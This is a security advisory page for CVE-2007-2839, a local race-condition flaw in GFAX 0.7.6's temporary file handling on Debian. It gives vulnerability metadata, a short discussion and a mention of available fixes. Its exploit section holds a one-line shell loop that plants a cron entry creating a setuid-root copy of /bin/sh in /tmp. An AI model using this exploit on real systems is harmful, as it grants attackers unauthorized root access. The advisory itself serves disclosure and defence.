GFax Temporary Files Local Arbitrary Command Execution Vulnerability

BID:24780

Info

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

Bugtraq ID: 24780
Class: Race Condition Error
CVE: CVE-2007-2839
Remote: No
Local: Yes
Published: Jul 05 2007 12:00AM
Updated: Jul 06 2007 09:17PM
Credit: Steve Kemp from the Debian Security Audit project discovered this vulnerability.
Vulnerable: GFAX GFAX 0.7.6
Debian Linux 3.1
Not Vulnerable:

Discussion

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

GFAX is prone to a vulnerability that lets local attackers execute arbitrary commands with superuser privileges. Successful attacks will result in the complete compromise of affected computers.

GFAX 0.7.6 is vulnerable; other versions may also be affected.

Exploit / POC

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

The following exploit is available:

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done

Solution / Fix

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

Solution:
Fixes addressing this issue are available. Please see the references for more information.


Debian Linux 3.1

References

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report